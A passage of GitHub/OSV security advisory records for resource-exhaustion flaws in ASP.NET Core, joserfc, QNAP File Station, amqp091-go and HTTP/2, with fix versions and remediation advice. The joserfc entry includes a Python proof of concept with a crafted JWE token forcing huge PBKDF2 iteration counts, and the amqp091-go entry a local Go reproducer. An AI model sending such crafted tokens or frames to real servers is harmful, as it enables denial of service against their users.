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  ],
  "aliases": [
    "CVE-2026-70181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-13T19:47:44Z",
    "nvd_published_at": "2026-10-13T19:19:32Z",
    "severity": "HIGH"
  },
  "details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.WebUtilities. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nFileBufferingReadStream eagerly rents buffers during multipart processing, allowing memory exhaustion and denial of service.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/459\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Weakness:** CWE-770 (Allocation of Resources Without Limits or Throttling)\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\n\nThe vulnerability affects Microsoft .NET projects that use an affected package version listed below.\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | ---------------\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-70181](https://www.cve.org/CVERecord?id=CVE-2026-70181)\n\n### Acknowledgements\n\n- kayiz with Lien Phat Technology Corporation (http://lp.com.vn/)\n- jhanks\n- Anonymous\n\n### Revisions\n\nV1.0 (10/13/2026): Advisory published.",
  "id": "GHSA-w5qq-qrpp-rf4c",
  "modified": "2026-10-19T16:14:59Z",
  "published": "2026-10-13T19:47:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-w5qq-qrpp-rf4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/459"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/aspnetcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/aspnetcore/discussions/69795"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-70181 - ASP.NET Core Denial of Service Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "joserfc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T18:47:37Z",
    "nvd_published_at": "2026-03-03T23:15:56Z",
    "severity": "HIGH"
  },
  "details": "# Summary \n\nA resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token\u0027s protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token.\n\nThis vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application\u0027s policy.\n\n## Details\n \n**Vulnerable file:** `src/joserfc/_rfc7518/jwe_algs.py`\n**Vulnerable function:** `PBES2HSAlgKeyEncryption.decrypt_cek()` \n**Lines:** 283\n\n```python\ndef decrypt_cek(self, recipient: Recipient[OctKey]) -\u003e bytes:\n    headers = recipient.headers()\n    # ...\n    p2c = headers[\"p2c\"]  # \u2190 attacker-controlled integer\n    # ...\n    kek = self.compute_derived_key(key.get_op_key(\"deriveKey\"), p2s, p2c)\n```\nThe `p2c` value is then passed to `compute_derived_key` : \n\n```python\ndef compute_derived_key(self, key: bytes, p2s: bytes, p2c: int) -\u003e bytes:\n    # ...\n    kdf = PBKDF2HMAC(\n        algorithm=self.hash_alg,\n        length=self.key_size // 8,\n        salt=salt,\n        iterations=p2c,  # \u2190 unbounded iterations\n        backend=default_backend(),\n    )\n```\n\n**Impact on JWT Policies**\nAny JWT policy configured to allow PBES2 key management algorithms (e.g., `PBES2-HS256+A128KW`) is vulnerable. Because the DoS occurs during the decryption phase, the attack is triggered before any claim validation (e.g., \nexp,`iss, aud` checks) or nested signature verification takes place. This makes existing JWT \"policies\" ineffective as a defense if the underlying algorithm is permitted.\n\n\n## PoC\n\n**Tested against joserfc 1.6.2.\nLocal Reproduction:**\n\n```python\nimport time\nfrom joserfc import jwe\nfrom joserfc.jwk import OctKey\n\n# Force joserfc to use local source if needed\n# sys.path.insert(0, \"src\")\n\n# Attacker-crafted token with 10 million iterations\n# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.\ntoken = \"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy\"\n\nkey = OctKey.import_key(b\"any-password\")\n\nt0 = time.perf_counter()\ntry:\n    # This call will hang the thread for seconds\n    jwe.decrypt_compact(token, key, algorithms=[\"PBES2-HS256+A128KW\", \"A128CBC-HS256\"])\nexcept Exception:\n    pass\nprint(f\"Elapsed: {time.perf_counter() - t0:.2f}s\")\n```\n\n## Impact\nAn unauthenticated remote attacker can exhaust the CPU resources of a server by sending a small number of crafted JWE/JWT tokens. Each token will occupy a worker thread/process for a duration proportional to the `p2c` value (up to several minutes or hours depending on the integer value). This results in a complete Denial of Service for legitimate users.\n\n## Recommendation\nMinimal fix: Implement an upper bound check for the `p2c` parameter in `PBES2HSAlgKeyEncryption.decrypt_cek()`.\n\n```python\nMAX_P2C = 300000  # Example security bound\n\n# ... inside decrypt_cek ...\np2c = headers[\"p2c\"]\nif not isinstance(p2c, int) or p2c \u003e MAX_P2C:\n    raise DecodeError(f\"p2c iteration count too high (max {MAX_P2C})\")\n```\nAdditionally, applications should only enable PBES2 algorithms if password-based encryption is specifically required and should enforce a strict  algorithms allowlist in their JWT/JWE policies.",
  "id": "GHSA-w5r5-m38g-f9f9",
  "modified": "2026-03-04T02:00:47Z",
  "published": "2026-03-02T18:47:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-w5r5-m38g-f9f9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27932"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/commit/696a961"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/joserfc/commit/696a9611ab982c45ee2190ed79ca8e1d8e09398f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/joserfc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "joserfc\u0027s PBES2 p2c Unbounded Iteration Count enables Denial of Service (DoS)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-54161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T13:15:54Z",
    "severity": "LOW"
  },
  "details": "An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains an administrator account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5068 and later",
  "id": "GHSA-w6g5-6qxq-f96f",
  "modified": "2026-02-12T21:31:25Z",
  "published": "2026-02-11T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54161"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-26-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rabbitmq/amqp091-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:40:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe frame-size mitigation released in `amqp091-go` v1.13.0 can be bypassed before `connection.tune` completes. A malicious or compromised AMQP peer can send only a seven-byte body-frame header containing a large attacker-controlled `uint32` payload length. The client allocates a slice of that declared length before it verifies that the payload exists or rejects the frame for its invalid protocol state.\n\nThe bypass occurs because `Connection.maxFrameSize` starts at zero. The reader interprets zero as both \u201cnegotiated unlimited\u201d and \u201cnot negotiated yet,\u201d and skips the pre-allocation size check in either case. `Open` starts the reader goroutine before negotiation and does not store a limit until after it receives `connection.tune`.\n\nThis remains reachable even if the caller explicitly uses `Config{FrameSize: frameMinSize}`. A malicious broker can therefore cause excessive memory allocation, potentially terminating the Go client process through memory exhaustion, before authentication and connection setup complete.\n\n## Relationship to the existing advisory\n\n[GHSA-r9c8-gcjp-xfwh](https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-r9c8-gcjp-xfwh) describes attacker-controlled, unbounded allocation by a malicious broker and identifies v1.13.0 as the patched version. [Pull request 369](https://github.com/rabbitmq/amqp091-go/pull/369) added a frame-size check before parser allocation, but the check is active only when the stored maximum is nonzero.\n\nThe v1.13.0 source still:\n\n1. starts the reader before protocol negotiation;\n2. skips the bound while `maxFrameSize == 0`;\n3. allocates the body using the peer-declared size; and\n4. stores the negotiated maximum only after `connection.tune`.\n\nThis appears to be an incomplete-fix or state-boundary bypass of the existing advisory rather than an unrelated allocation issue.\n\n## Affected source and root cause\n\nThe issue was reproduced at commit [`9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde`](https://github.com/rabbitmq/amqp091-go/commit/9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde), dated 2026-07-30. The same relevant control flow is in the v1.13.0 tag.\n\nThe vulnerable sequence is:\n\n1. [`Open` starts `c.reader(conn)` before calling `c.open(config)`](https://github.com/rabbitmq/amqp091-go/blob/9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde/connection.go#L373-L392).\n2. [The reader receives a pointer to the initially zero-valued `c.maxFrameSize`](https://github.com/rabbitmq/amqp091-go/blob/9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde/connection.go#L971-L979).\n3. [`ReadFrame` decodes the peer-controlled `uint32` size but rejects it only when `max \u003e 0`](https://github.com/rabbitmq/amqp091-go/blob/9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde/read.go#L46-L79).\n4. [`parseBodyFrame` executes `make([]byte, size)` before `io.ReadFull`](https://github.com/rabbitmq/amqp091-go/blob/9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde/read.go#L459-L466).\n5. [`maxFrameSize` is first stored after processing `connection.tune`](https://github.com/rabbitmq/amqp091-go/blob/9313fd9ea47bdb4e8f7f5db9bef94d5534d0bdde/connection.go#L1297-L1305).\n\nThe source comments and regression tests explicitly combine \u201cnegotiated unlimited\u201d with \u201cnot yet negotiated\u201d as the same zero state. Those states need different security behavior.\n\n## Safe reproduction\n\nThis reproducer does not start RabbitMQ, contact any hosted service, send a large payload, or attempt to crash the process. It declares a 2 MiB body and observes the size of the slice passed to the transport\u0027s payload `Read`. Receiving a 2 MiB destination slice proves that the allocation occurred; the test then releases the blocked read and exits.\n\n1. Check out v1.13.0.\n2. Save the following as `pre_negotiation_frame_limit_test.go` in the repository root.\n3. Run `go test -run \u0027^TestPreNegotiationFrameLimitBypass$\u0027 -count=1 -v .`.\n\n```go\npackage amqp091\n\nimport (\n\t\"encoding/binary\"\n\t\"io\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n)\n\nconst declaredBodySize = 2 \u003c\u003c 20\n\ntype stagedFrameConn struct {\n\tmu          sync.Mutex\n\theader      []byte\n\theaderRead  bool\n\tbodyRead    chan int\n\tbodyOnce    sync.Once\n\trelease     chan struct{}\n\treleaseOnce sync.Once\n}\n\nfunc newStagedFrameConn() *stagedFrameConn {\n\theader := make([]byte, 7)\n\theader[0] = frameBody\n\tbinary.BigEndian.PutUint16(header[1:3], 1)\n\tbinary.BigEndian.PutUint32(header[3:7], declaredBodySize)\n\treturn \u0026stagedFrameConn{\n\t\theader:   header,\n\t\tbodyRead: make(chan int, 1),\n\t\trelease:  make(chan struct{}),\n\t}\n}\n\nfunc (c *stagedFrameConn) Read(p []byte) (int, error) {\n\tc.mu.Lock()\n\tif !c.headerRead {\n\t\tc.headerRead = true\n\t\tn := copy(p, c.header)\n\t\tc.mu.Unlock()\n\t\treturn n, nil\n\t}\n\tc.mu.Unlock()\n\n\tc.bodyOnce.Do(func() { c.bodyRead \u003c- len(p) })\n\t\u003c-c.release\n\treturn 0, io.EOF\n}\n\nfunc (c *stagedFrameConn) Write(p []byte) (int, error) { return len(p), nil }\n\nfunc (c *stagedFrameConn) Close() error {\n\tc.releaseOnce.Do(func() { close(c.release) })\n\treturn nil\n}\n\nfunc TestPreNegotiationFrameLimitBypass(t *testing.T) {\n\tconn := newStagedFrameConn()\n\topenDone := make(chan error, 1)\n\n\tgo func() {\n\t\t_, err := Open(conn, Config{FrameSize: frameMinSize})\n\t\topenDone \u003c- err\n\t}()\n\n\tselect {\n\tcase got := \u003c-conn.bodyRead:\n\t\tif got != declaredBodySize {\n\t\t\tt.Fatalf(\"payload Read received a %d-byte slice; want %d\", got, declaredBodySize)\n\t\t}\n\tcase \u003c-time.After(5 * time.Second):\n\t\tt.Fatal(\"payload Read was not reached\")\n\t}\n\n\t_ = conn.Close()\n\tselect {\n\tcase \u003c-openDone:\n\tcase \u003c-time.After(5 * time.Second):\n\t\tt.Fatal(\"Open did not exit after the test connection closed\")\n\t}\n}\n```\n\n### Expected secure behavior\n\nThe pre-negotiation reader rejects the oversized declared frame before allocating its payload buffer. The transport should never receive a payload `Read` with a 2 MiB destination slice.\n\n### Actual behavior\n\nThe test passes because the transport receives a payload `Read` whose destination slice is exactly 2 MiB, despite the caller setting `Config.FrameSize` to `frameMinSize`. This slice was created by `make([]byte, size)` using the untrusted frame header.\n\n## Additional local validation\n\nA five-test differential harness was run against the exact tested commit. All tests passed:\n\n```text\n=== RUN   TestCounterfactualZeroFrameLimitAllocatesBeforePayloadRead\n--- PASS: TestCounterfactualZeroFrameLimitAllocatesBeforePayloadRead\n=== RUN   TestCounterfactualNegotiatedLimitRejectsBeforePayloadAllocation\n--- PASS: TestCounterfactualNegotiatedLimitRejectsBeforePayloadAllocation\n=== RUN   TestCounterfactualZeroLimitAllowsSmallFrameControl\n--- PASS: TestCounterfactualZeroLimitAllowsSmallFrameControl\n=== RUN   TestCounterfactualNegotiatedLimitAllowsSmallFrameControl\n--- PASS: TestCounterfactualNegotiatedLimitAllowsSmallFrameControl\n=== RUN   TestCounterfactualPublicOpenReachesZeroLimitAllocation\n--- PASS: TestCounterfactualPublicOpenReachesZeroLimitAllocation\nPASS\nok github.com/rabbitmq/amqp091-go 0.907s\n```\n\nThe controls establish that:\n\n- the zero pre-negotiation state reaches attacker-sized allocation;\n- a `frameMinSize` bound rejects the same declaration before allocation;\n- both states continue to accept a valid small frame; and\n- the vulnerable state is reachable through public `Open`, not only through an internal helper.\n\n## Impact\n\nThe frame body length is a network-controlled 32-bit unsigned integer, so one seven-byte frame header can request an allocation approaching 4 GiB on a 64-bit client. The attacker does not need to transmit the declared body before allocation occurs. On memory-constrained clients or containers, this can cause severe memory pressure, an out-of-memory condition, or process termination.\n\nThe required attacker position is a malicious or compromised broker, or an equivalent peer able to provide the AMQP transport during connection establishment. No application credentials, user interaction, confidentiality impact, or integrity impact is required or claimed. The primary impact is availability of the client process and potentially dependent services.\n\n## Protocol relevance\n\nThe [AMQP 0-9-1 reference](https://github.com/rabbitmq/amqp-0.9.1-spec/blob/main/docs/amqp-0-9-1-reference.md#L395-L398) requires peers to accept frames up to the 4096-byte `frame-min-size` before `frame-max` is negotiated. It does not require accepting arbitrarily large pre-negotiation frames. A provisional 4096-byte receive limit is therefore compatible with the stated pre-negotiation requirement.\n\n## Suggested remediation\n\nRepresent these states separately:\n\n- pre-negotiation, with a provisional `frameMinSize` receive bound;\n- negotiated with a finite `frame_max`; and\n- explicitly negotiated unlimited, if that behavior remains supported.\n\nInitialize the provisional bound before the reader goroutine starts, then replace it with the negotiated result after `connection.tune`. Reject any declared payload that would make the total frame exceed the active limit before calling a frame parser or allocating a payload buffer. A protocol-state check that rejects body frames before connection setup completes would add defense in depth.\n\nPlease add a regression through public `Open` that sends an oversized body-frame header before `connection.tune` and verifies rejection before payload allocation, while retaining small valid-frame controls.",
  "id": "GHSA-w6r9-248c-frg8",
  "modified": "2026-10-08T19:40:19Z",
  "published": "2026-10-08T19:40:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-w6r9-248c-frg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/pull/377"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/commit/6723e8cff8710f0a6bf5fb4af375e285052535b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/amqp091-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/releases/tag/v1.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "amqp091-go: Pre-negotiation frame limit is not enforced to 4KB"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-9517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Some HTTP/2 implementations are vulnerable to unconstrained interal data buffering, potentially leading to a denial of service. The attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both.",
  "id": "GHSA-w6v5-q8c8-52xx",
  "modified": "2025-01-14T21:31:41Z",
  "published": "2022-05-24T16:53:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9517"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
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    {
      "type": "WEB",
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    {
      "type": "WEB",
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    },
    {
      "type": "WEB",
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    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
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    },
    {
      "type": "WEB",
